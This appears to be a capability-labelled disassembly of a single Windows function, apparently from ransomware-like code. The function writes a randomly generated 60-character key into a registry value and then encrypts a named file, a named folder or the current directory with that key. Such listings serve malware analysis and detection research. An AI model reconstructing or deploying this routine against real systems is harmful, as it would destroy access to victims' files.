Function at 0x401831
Capabilities:
Set registry value

Disassembly:
push rbp
sub rsp, 0x170
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x100], ecx
mov qword [rbp + 0x108], rdx
mov dword [rbp + 0x110], r8d
mov qword [rbp + 0x118], r9
lea rcx, str.Key_not_found
call sym.puts
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x118]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, [0x00404040]
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov dword [rbp + 0x110], eax
cmp dword [rbp + 0x110], 0
je 0x4018de
lea rcx, str.Error_creating_key
call sym.puts
mov eax, 1
jmp 0x401b53
lea rcx, str.Key_created
call sym.puts
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
mov ecx, 0x3d
call sym.malloc
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xec], 0
cmp dword [rbp + 0xec], 0x3b
jg 0x4019ae
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
mov dword [rbp + 0xdc], edx
mov edx, dword [rbp + 0xdc]
imul edx, edx, 0x34
sub eax, edx
mov dword [rbp + 0xdc], eax
cmp dword [rbp + 0xdc], 0x19
jg 0x401982
mov eax, dword [rbp + 0xdc]
lea ecx, [rax + 0x41]
mov eax, dword [rbp + 0xec]
movsxd rdx, eax
mov rax, qword [rbp + 0xe0]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
jmp 0x4019a2
mov eax, dword [rbp + 0xdc]
lea ecx, [rax + 0x47]
mov eax, dword [rbp + 0xec]
movsxd rdx, eax
mov rax, qword [rbp + 0xe0]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add dword [rbp + 0xec], 1
jmp 0x401916
mov rax, qword [rbp + 0xe0]
add rax, 0x3c
mov byte [rax], 0
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
add eax, 1
mov dword [rbp + 0xd8], eax
mov rax, qword [rbp + 0x118]
mov edx, dword [rbp + 0xd8]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0xe0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.error
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp + 0x110], eax
cmp dword [rbp + 0x110], 0
je 0x401a35
lea rcx, str.Error_setting_key
call sym.puts
mov eax, 1
jmp 0x401b53
lea rcx, str.Key_set
call sym.puts
cmp dword [rbp + 0x100], 1
jle 0x401a8d
mov rax, qword [rbp + 0x108]
add rax, 8
mov rax, qword [rax]
lea rdx, [0x004050e6]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x401a8d
mov rax, qword [rbp + 0x108]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp + 0xe0]
mov rcx, rax
call sym.encrypt_decrypt_file_char__char_
jmp 0x401b2c
cmp dword [rbp + 0x100], 1
jle 0x401ad6
mov rax, qword [rbp + 0x108]
add rax, 8
mov rax, qword [rax]
lea rdx, [0x004050e9]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x401ad6
mov rax, qword [rbp + 0x108]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp + 0xe0]
mov rcx, rax
call sym.encrypt_decrypt_folder_char__char_
jmp 0x401b2c
lea rax, [rbp - 0x30]
mov edx, 0x104
mov rcx, rax
call sym.getcwd
test rax, rax
setne al
test al, al
je 0x401b19
lea rax, [rbp - 0x30]
mov rdx, rax
lea rcx, str.Current_working_dir:__s_n
call sym.printf
mov rdx, qword [rbp + 0xe0]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.encrypt_decrypt_folder_char__char_
jmp 0x401b2c
lea rcx, str.getcwd___error
call sym.perror
mov eax, 1
jmp 0x401b53
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x170
pop rbp
ret